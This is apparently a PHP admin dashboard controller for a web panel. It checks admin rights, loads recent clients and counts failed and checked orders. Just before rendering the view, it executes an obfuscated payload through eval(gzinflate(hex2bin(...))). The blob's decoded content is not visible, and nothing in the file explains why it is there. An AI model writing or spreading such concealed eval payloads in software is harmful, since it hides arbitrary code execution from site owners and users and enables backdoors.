<?php
if(!defined('BASEPATH')) {
   die('Direct access to the script is not allowed');
}
if( $admin["access"]["admin_access"] != 1  ){

    header("Location:".site_url("admin"));

    exit();
}
  
  $clients = $conn->prepare("SELECT * FROM clients ORDER BY client_id DESC LIMIT 500");
  $clients->execute(array());
  $clients = $clients->fetchAll(PDO::FETCH_ASSOC);







$failCount      = $conn->prepare("SELECT * FROM orders WHERE orders.dripfeed='1' && orders.subscriptions_type='1' && order_error!=:error ");
  $failCount     -> execute(array("error"=>"-"));
  $failCount      = $failCount->rowCount();
$todayCount      = $conn->prepare("SELECT * FROM orders WHERE last_check=:error ");
  $todayCount     -> execute(array("error"=> date("Y-m-d") ));
  $todayCount     = $todayCount->rowCount();

  eval(gzinflate(hex2bin('63d0e0b0616064006260a8cacc4b57b25250a8ae56d0b2525050ca4bcc4d550848ca4c51b0b3545050d52bcc2dc9cc4b0704b116cd9c9292a4bcc4dcd29c8cf57308a0a2e1a4a4d2c4e2d48cac94c4b54b055b84b8cfcc49cfc52d00a6e2043f3f30c630303330b63130b0b050f73030313433543737353431b0b250003f2b24f')));
  

require admin_view('index');